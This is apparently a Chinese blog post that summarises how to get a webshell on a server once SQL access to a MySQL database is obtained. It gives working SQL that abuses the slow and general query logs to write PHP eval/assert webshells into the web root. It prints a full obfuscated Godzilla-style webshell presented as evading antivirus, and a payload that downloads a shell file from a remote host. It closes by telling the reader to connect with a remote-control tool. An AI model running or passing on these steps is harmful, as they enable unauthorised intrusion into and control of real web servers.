zoukankan      html  css  js  c++  java
  • 从数据库方向getshell方法总结

    前提

      拿到数据库权限,可以执行sql语句,或者进入到phpmyadmin界面,或pmd界面

      phpstudy  对应phpmyadmin界面  phpmyadmin.php
      upupw  对应pmd界面  u.php

    流程

      使用show variables like '%log%'及show variables like '%secure%'查看相应的日志模块和安全防御模块的开启情况,并且了解网站目录的相应的路径情况。

      方法一:

        使用慢查询日志,写入shell

        执行下面3步sql语句:   

    set global slow_query_log=1;//开启慢查询日志,可以绕过secure_priv的限制,而非直接select info outfile
    set global slow_query_log_file='D:WWWlog.php';//更改日志存放位置,并且将后缀名改成可执行的php文件,需要根据实际情况来确定WWW的位置
    select "<?php @eval($_POST['cmd'])?>" or sleep(11);//执行select语句,在日志中存入一句话木马,并且sleep11s,以便存入慢查询日志中去。

      方法二:

        使用general_log,写入shell

        执行下面3步sql语句:

    set global general_log='on';
    SET global general_log_file='D:/xxxx/WWW/cmd.php';
    SELECT '<?php assert($_POST["cmd"]);?>';

        注:shell的格式可以自行选取,可以使用具有免杀效果的shell,比如哥斯拉的shell,可在哥斯拉处直接生成相应的shell:

    <?php
        session_start();
        @set_time_limit(0);
        @error_reporting(0);
        function E($D,$K){
            for($i=0;$i<strlen($D);$i++) {
                $D[$i] = $D[$i]^$K[$i+1&15];
            }
            return $D;
        }
        function Q($D){
            return base64_encode($D);
        }
        function O($D){
            return base64_decode($D);
        }
        $P='pass';
        $V='payload';
        $T='3c6e0b8a9c15224a';
        if (isset($_POST[$P])){
            $F=O(E(O($_POST[$P]),$T));
            if (isset($_SESSION[$V])){
                $L=$_SESSION[$V];
                $A=explode('|',$L);
                class C{public function nvoke($p) {eval($p."");}}
                $R=new C();
                $R->nvoke($A[0]);
                echo substr(md5($P.$T),0,16);
                echo Q(E(@run($F),$T));
                echo substr(md5($P.$T),16);
            }else{
                $_SESSION[$V]=$F;
            }
        }

      方法三:

        向日志中,写入JavaScript脚本,下载远端服务器的shell文件到本地,并本地创建shell.php文件

        执行下面sql语句:

    SET global general_log_file='C:/xxx/xxx/shell.php';
    SELECT '<script language="php"> $a="http://x.x.x.x/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

        最后记得访问一下相应的11.php,生成shell.php文件

    最后

      使用相应的远控工具连接,即可!

  • 相关阅读:
    Osg-地图界面显示指北针(指南针)
    学习c# 7.0-7.3的ref、fixed特性并在Unity下测试
    Linux下使用FreeBSD的ee
    C++ 中 malloc/free与 new/delete区别
    CMake 手册详解
    go 从入门到了解
    LINQ:对结果进行分组(MSDN)
    LINQ: List Contains List
    C# 如何使用log4net
    控制台程序要最后加上一句 Environment.Exit(0);
  • 原文地址:https://www.cnblogs.com/scivous/p/14417698.html
Copyright © 2011-2022 走看看